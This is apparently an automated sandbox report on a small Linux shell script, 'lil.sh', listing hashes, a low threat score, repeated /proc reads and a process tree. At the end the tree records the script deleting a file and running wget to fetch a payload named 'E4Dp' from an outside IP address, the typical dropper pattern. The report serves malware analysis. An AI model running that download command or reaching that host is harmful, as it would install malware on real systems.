ff591fcf9b62bf02aaf8b9f3e64fd14e6eb4d2d4275cffee0aa9cdd863c82840

Analysis

max time kernel
149s
max time network
139s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/08/2026, 20:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 844B
Sample260804-yyhtbsyfkc
SHA256 ff591fcf9b62bf02aaf8b9f3e64fd14e6eb4d2d4275cffee0aa9cdd863c82840
MD5 e130c90ba2a2f60d4ec0eae7d7b8c75d
SHA1 59b9ecb9a26ed63705b912533f2aee45f8ecb4db
SHA512 14526d6be68b03c6204b21ae5abf8fddc56a1ddcc68e2ca9b3d033054ff951ed4f546e72d9a98b9ab257b260d558ad894a6205f9f1b0e0ab9164480bab6b623e
TLSH
T17101ABCAD114E81050AAD95C32D76055F821C3C7264B8B65BFACA83DEB94D18B076FA4
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/lil.sh
/tmp/lil.sh
1⤵
PID:638
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:639
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:645
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  - Reads runtime system information
  PID:649
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  - Reads runtime system information
  PID:657
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:662
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  - Reads runtime system information
  PID:664
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:666
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/144/exe
  2⤵
  PID:672
- /bin/ls
  ls -l /proc/145/exe
  2⤵
  PID:674
- /bin/ls
  ls -l /proc/148/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/160/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/181/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/212/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/273/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/275/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/276/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/283/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/287/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/302/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/304/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/319/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/557/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/572/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/575/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/584/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/626/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/627/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/630/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:742
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/99/exe
  2⤵
  PID:750
- /bin/rm
  rm -rf E4Dp
  2⤵
  PID:753
- /usr/bin/wget
  wget http://129.121.110.105/E4Dp
  2⤵
  PID:754

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads